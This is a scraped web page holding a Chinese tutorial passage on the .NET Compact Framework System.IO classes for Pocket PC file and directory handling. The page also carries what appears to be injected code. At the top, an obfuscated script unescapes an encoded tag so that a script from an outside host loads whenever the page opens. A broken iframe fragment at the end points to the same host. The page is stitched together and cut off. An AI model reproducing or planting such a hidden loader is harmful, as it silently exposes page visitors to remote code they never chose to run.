HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
NETCF开发之文件和目录(2)
System.IO
命名空间
在
Pocket PC
应用程序里实现目录和文件操作功能,需要对
System.IO
命名空间有基本的了解,主要包括该命名空间里用于创建、操作和删除目录及文件的类。表
11-1
列出了
System.IO
命名空间主要的类
。
表
11-1
:
System.IO
命名空间主要类
类
说明
BinaryReader
将基本数据类型读作二进制值。
BinaryWriter
以二进制形式将基本数据类型写入流。
Directory
提供创建、移动、删除与枚举目录、子目录和所包含文件的静态方法。
DirectoryInfo
提供创建、移动、删除与枚举目录、子目录和所包含文件的实例方法。
File
提供用于创建、复制、删除、移动和打开文件的静态方法。
FileInfo
提供创建、复制、删除、移动和打开文件的实例方法。
FileStream
以字节数据流的形式访问文件。
MemoryStream
以字节数据流的形式访问内存存储区域。
Path
指示文件或目录路径信息。
StreamReader
从文件中读字符。
StreamWriter
向文件写字符。
StringReader
从字符串读字符。
StringWriter
向字符串写字符。
TextReader
连续读字符串的字符。
TextWriter
连续向字符串写字符。
1.1.1
使用
System.IO
命名控件
在
Pocket PC
应用程序里可以通过两种方法引用
System.IO
命名空间里的类。第一种方法如图
11-1
所示,在代码首行增加
Imports
声明。该方法的好处是允许你缩短命名空间引用名。例如,如下代码框内完整命名空间引用语法:
System.IO.Directory.GetFiles
能够使用更简单的引用语法代替:
Directory.GetFiles
图
11-1
:增加
System.IO
命名空间的引用
引用
System.IO
命名空间的第二种方法即直接使用完全的命名空间引用语法。该方法的好处是使代码更容易理解。
通过
System.IO
命名空间使用文件路径时需要注意,与桌面
Windows
环境不同,
Pocket PC
环境中的路径是以一个
"/"
开始的,而不是使用
C:
或
D:
。例如,桌面
Windows
的路径
C:/Program Files
,在
Pocket PC
设备里则是
/Program Files
。
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">